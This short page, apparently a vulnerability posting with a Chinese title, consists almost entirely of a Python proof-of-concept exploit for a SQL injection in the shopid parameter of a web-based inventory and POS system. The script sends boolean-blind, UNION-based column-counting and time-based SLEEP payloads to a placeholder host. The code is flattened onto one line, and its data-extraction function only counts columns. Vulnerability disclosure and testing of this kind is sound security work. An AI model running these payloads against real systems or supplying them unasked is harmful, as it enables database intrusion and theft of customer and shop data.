CVE-2025-11431：Web-Based库存与POS系统SQL注入漏洞

# CVE-2025-11431 SQL Injection PoC # Target: code-projects Web-Based Inventory and POS System 1.0 # Vulnerable file: /transaction.php # Vulnerable parameter: shopid import requests TARGET_URL = "http://target-host.com" VULNERABLE_ENDPOINT = "/transaction.php" # Basic SQL Injection payload to test the vulnerability def test_sql_injection(base_url): """Test for SQL injection in shopid parameter""" # Payload 1: Boolean-based blind SQL injection payload_true = "1' AND '1'='1" payload_false = "1' AND '1'='2" url = f"{base_url}{VULNERABLE_ENDPOINT}" # Send request with malicious shopid parameter params = { "shopid": payload_true } response_true = requests.get(url, params=params) params["shopid"] = payload_false response_false = requests.get(url, params=params) if response_true.text != response_false.text: print("[+] SQL Injection vulnerability confirmed!") print(f"[+] Response length (true): {len(response_true.text)}") print(f"[+] Response length (false): {len(response_false.text)}") return True return False # Payload 2: UNION-based SQL injection to extract data def extract_data(base_url, table_name="users"): """Extract data using UNION-based SQL injection""" # Determine number of columns first for i in range(1, 20): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"1' UNION SELECT {cols}-- -" params = {"shopid": payload} response = requests.get(f"{base_url}{VULNERABLE_ENDPOINT}", params=params) if "error" not in response.text.lower() and response.status_code == 200: print(f"[+] Number of columns: {i}") break # Payload 3: Time-based blind SQL injection def time_based_injection(base_url): """Time-based blind SQL injection test""" payload = "1' AND SLEEP(5)-- -" params = {"shopid": payload} import time start_time = time.time() response = requests.get(f"{base_url}{VULNERABLE_ENDPOINT}", params=params) elapsed = time.time() - start_time if elapsed >= 5: print("[+] Time-based SQL Injection confirmed!") return True return False if __name__ == "__main__": print("[*] Testing CVE-2025-11431 SQL Injection") print(f"[*] Target: {TARGET_URL}") test_sql_injection(TARGET_URL)